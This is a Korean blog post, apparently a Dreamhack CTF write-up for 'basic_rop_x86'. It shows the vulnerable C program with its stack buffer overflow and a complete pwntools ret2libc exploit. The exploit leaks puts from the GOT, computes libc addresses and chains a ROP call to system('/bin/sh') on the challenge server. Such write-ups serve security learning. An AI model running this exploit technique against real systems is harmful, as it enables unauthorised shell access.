[ Dreamhack ] basic_rop_x86

Hyeonjin Lee·2023년 3월 23일
0

문제 분석


#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}
  1. 보호기법은 NX가 적용되어 있다.

  2. buf를 0x40byte 할당하고 0x400byte를 read받고 있다. 그래서 BOF취약점이 발생한다.


문제 풀이



주어진 libc에서 문자열 "bin/sh"을 찾을 수 있다.


ROP 가젯 역시 문제에서 찾을 수 있다.

이를 이용하여 ROP를 수행하면 된다.


from pwn import *

p = remote('host3.dreamhack.games', 22607)

e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')

puts_plt = e.plt['puts']
puts_got = e.got['puts']

puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
binsh_offset = next(libc.search(b'/bin/sh'))

pr = 0x080483d9

main_addr = 0x80485d9

payload = b'A'*0x44 + b'B'*0x4
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(main_addr)

p.send(payload)
p.recv()

puts_addr = u32(p.recv(4))
libc_addr = puts_addr - puts_offset
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset

payload2 = b'A'*0x44 + b'B'*0x4
payload2 += p32(system_addr)
payload2 += p32(pr)
payload2 += p32(binsh_addr)

p.send(payload2)

p.interactive()
profile
요즘 행복해요

0개의 댓글